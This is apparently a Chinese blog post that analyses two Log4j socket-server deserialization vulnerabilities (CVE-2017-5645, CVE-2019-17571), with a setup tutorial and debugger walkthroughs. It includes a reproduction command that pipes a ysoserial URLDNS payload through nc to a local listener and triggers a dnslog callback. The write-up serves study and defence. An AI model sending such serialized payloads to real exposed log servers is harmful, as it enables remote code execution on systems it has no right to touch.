介绍

https://logging.apache.org/log4j/2.x/

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

简单来说,Log4j是一种非常流行的日志框架,最新版本是2.x;也是一个组件化设计的日志系统,它的架构大致如下:

  1. log.info("User signed in.");
  2. ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
  3. ├──>│ Appender │───>│ Filter │───>│ Layout │───>│ Console
  4. └──────────┘ └──────────┘ └──────────┘ └──────────┘
  5. ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
  6. ├──>│ Appender │───>│ Filter │───>│ Layout │───>│ File
  7. └──────────┘ └──────────┘ └──────────┘ └──────────┘
  8. ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
  9. └──>│ Appender │───>│ Filter │───>│ Layout │───>│ Socket
  10. └──────────┘ └──────────┘ └──────────┘ └──────────┘

当我们使用Log4j输出一条日志时,Log4j自动通过不同的Appender把同一条日志输出到不同的目的地。例如:

  • console:输出到屏幕;
  • file:输出到文件;
  • socket:通过网络输出到远程计算机;
  • jdbc:输出到数据库

在输出日志的过程中,通过Filter来过滤哪些log需要被输出,哪些log不需要被输出。例如,仅输出ERROR级别的日志。

最后,通过Layout来格式化日志信息,例如,自动添加日期、时间、方法名称等信息。

基础使用

pom.xml

  1. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  2. <dependency>
  3. <groupId>org.apache.logging.log4j</groupId>
  4. <artifactId>log4j-core</artifactId>
  5. <version>2.8.1</version>
  6. </dependency>

log4j2.xml

https://blog.csdn.net/pan_junbiao/article/details/104313938

我们把一个log4j2.xml的文件放到classpath下就可以让Log4j读取配置文件并按照我们的配置来输出日志。

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!-- log4j2 配置文件 -->
  3. <!-- 日志级别 trace<debug<info<warn<error<fatal -->
  4. <configuration status="info">
  5. <!-- 自定义属性 -->
  6. <Properties>
  7. <!-- 日志格式(控制台) -->
  8. <Property name="pattern1">[%-5p] %d %c - %m%n</Property>
  9. <!-- 日志格式(文件) -->
  10. <Property name="pattern2">
  11. =========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
  12. </Property>
  13. <!-- 日志文件路径 -->
  14. <Property name="filePath">logs/myLog.log</Property>
  15. </Properties>
  16. <appenders>
  17. <Console name="Console" target="SYSTEM_OUT">
  18. <PatternLayout pattern="${pattern1}"/>
  19. </Console>
  20. <RollingFile name="RollingFile" fileName="${filePath}"
  21. filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
  22. <PatternLayout pattern="${pattern2}"/>
  23. <SizeBasedTriggeringPolicy size="5 MB"/>
  24. </RollingFile>
  25. </appenders>
  26. <loggers>
  27. <root level="info">
  28. <appender-ref ref="Console"/>
  29. <appender-ref ref="RollingFile"/>
  30. </root>
  31. </loggers>
  32. </configuration>

Test.java

  1. package org.example;
  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;
  4. import java.util.function.LongFunction;
  5. public class Test
  6. {
  7. public static void main( String[] args )
  8. {
  9. Logger logger = LogManager.getLogger(LongFunction.class);
  10. logger.trace("trace level");
  11. logger.debug("debug level");
  12. logger.info("info level");
  13. logger.warn("warn level");
  14. logger.error("error level");
  15. logger.fatal("fatal level");
  16. }
  17. }

log4j反序列化漏洞分析 - 图1

CVE-2017-5645

简介

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。在使用TCP/UDP 套接字接口监听获取序列化的日志事件时,存在反序列化漏洞。

环境准备

  1. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  2. <dependency>
  3. <groupId>org.apache.logging.log4j</groupId>
  4. <artifactId>log4j-core</artifactId>
  5. <version>2.8.1</version>
  6. </dependency>
  7. <!-- https://mvnrepository.com/artifact/com.beust/jcommander -->
  8. <dependency>
  9. <groupId>com.beust</groupId>
  10. <artifactId>jcommander</artifactId>
  11. <version>1.48</version>
  12. </dependency>

直接复现

环境启动

找到刚才下载的jar包,执行如下命令启动监听6666端口

  1. java -cp log4j-core-2.8.1.jar:log4j-api-2.8.1.jar:jcommander-1.48.jar org.apache.logging.log4j.core.net.server.TcpSocketServer -p 6666

log4j反序列化漏洞分析 - 图2

漏洞复现

使用ysoserial直接生成恶意的序列化数据,并发送给6666端口

  1. java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://jqi53t.dnslog.cn | nc 127.0.0.1 6666

log4j反序列化漏洞分析 - 图3

使用URLDNS链,反序列化后查看DNSLOG,已经收到请求

log4j反序列化漏洞分析 - 图4

DEBUG分析

编写启动代码,其实主要就是调用了org.apache.logging.log4j.core.net.server.TcpSocketServer.main(),和前面命令行启动一样

  1. package org.example;
  2. import org.apache.logging.log4j.core.net.server.TcpSocketServer;
  3. public class Test {
  4. public static void main(String[] args) throws Exception {
  5. String[] arg = {"-p", "6666"};
  6. TcpSocketServer.main(arg);
  7. }
  8. }

分析一下整个过程,在main()那下断点,启动

log4j反序列化漏洞分析 - 图5

跟进main()

log4j反序列化漏洞分析 - 图6

BasicCommandLineArguments.parseCommandLine()不难猜出是解析参数的,跳过

经过一些判断,到了 createSerializedSocketServer()方法,看名字是创建序列化socket服务端,跟进去

log4j反序列化漏洞分析 - 图7

发现创建了一个TcpSocketServer,并且调用LOGGER.exit()方法返回,LOGGER.exit的功能就是对日志做些操作,然后仍然返回传进来的对象,所以这里相当于就是返回了TcpSocketServer

返回TcpSocketServer.clssmain()方法,调用了socketServer.startNewThread(),看名字是新建一个线程,跟进去

log4j反序列化漏洞分析 - 图8

AbstractSocketServer类实现了Runnable接口,在启动新线程的时候,会自动调用run()方法;(不熟悉可以去看看Java多线程

这里多线程的任务程序是this,而此时的thisTcpSocketServer,所以会调用TcpSocketServer.run()方法,看下对应的run()方法

log4j反序列化漏洞分析 - 图9

可见里面调用了serverSocket.accept()方法,返回一个Socket,这个没啥影响,但此时已经开始监听我们设定的端口了


手动向该端口发送数据,触发后续流程

然后用clientSocket实例化SocketHandler

log4j反序列化漏洞分析 - 图10

看下SocketHandler的构造函数,给this.inputStream赋值

log4j反序列化漏洞分析 - 图11

TcpSocketServer.this.logEventInput的类是ObjectInputStreamLogEventBridge,这里相当于调用了它的wrapStream方法

log4j反序列化漏洞分析 - 图12

接收到数据后的整个流程,就是把socket连接传过来的数据流作为包装成ObjectInputStream,现在this.inputStream就是一个来自用户输入的ObjectInputStream流了。

回到TcpSocketServerrun方法

log4j反序列化漏洞分析 - 图13

继续往下,执行了handler.start(),而handler是SocketHandler类的实例,这个类继承自Log4jThreadLog4jThread又继承自Thread类,所以他是一个自定义的线程类,自定义的线程类有个特点,那就是必须重写run方法,而且当调用自定义线程类的start()方法时,会自动调用它的run()方法

log4j反序列化漏洞分析 - 图14

然后默认会进入到TcpSocketServer.this.logEventInput.logEvents这个方法,跟进

log4j反序列化漏洞分析 - 图15

调用了readObject()进行反序列化,然后触发我们的恶意链,到此分析结束

总结:inputStream就是被封装成ObjectInputStream流的、我们通过tcp发送的数据。所以只要log4j的tcpsocketserver端口对外开放,且目标存在可利用的pop链,我们就可以通过tcp直接发送恶意的序列化payload实现RCE。

CVE-2019-17571

简介

https://logging.apache.org/log4j/1.2/

和上面的CVE差不多,只是触发点是SocketNoderun()方法,且这个地方需要的log4j的版本是1.2,感觉是为了凑CVE?

log4j反序列化漏洞分析 - 图16

环境准备

  1. <!-- https://mvnrepository.com/artifact/log4j/log4j -->
  2. <dependency>
  3. <groupId>log4j</groupId>
  4. <artifactId>log4j</artifactId>
  5. <version>1.2.17</version>
  6. </dependency>

Debug分析

启动函数,有错误啥的可以不用管,不影响复现

  1. package org.example;
  2. import org.apache.log4j.net.SocketServer;
  3. public class Test {
  4. public static void main(String[] args) {
  5. String[] arg = {"6666", "./", "./"};
  6. SocketServer.main(arg);
  7. }
  8. }

一样的,main下断点

log4j反序列化漏洞分析 - 图17

跟进main,先初始化参数

log4j反序列化漏洞分析 - 图18

然后一直到serverSocket.accept,开启监听

log4j反序列化漏洞分析 - 图19


传入恶意的序列化数据

log4j反序列化漏洞分析 - 图20

继续往下,先实例化SocketNode,然后实例化Thread,最后调用start

log4j反序列化漏洞分析 - 图21

跟进SocketNode,发现会将我们传入的数据转换成ObjectInputStream类,并赋值给变量ois

log4j反序列化漏洞分析 - 图22

然后返回main方法中,发现调用了start()方法,根据多线程,调用start()方法其实就是调用了对应类的run()方法,这里其实就是调用的SocketNode.run()

log4j反序列化漏洞分析 - 图23

跟进SocketNode.run(),发现this.ois调用了方法readObject(),至此反序列化完成

log4j反序列化漏洞分析 - 图24

查看dnslog日志,成功触发

log4j反序列化漏洞分析 - 图25

其他

log4j是一个日志组件,在用log4j搭建日志服务器集中管理日志的时候会用到socketserver这种机制,试了一下用nmap识别不出服务,所以还是以审计发现该漏洞为主吧。

Log4j2 TcpSocketServer 日志集中打印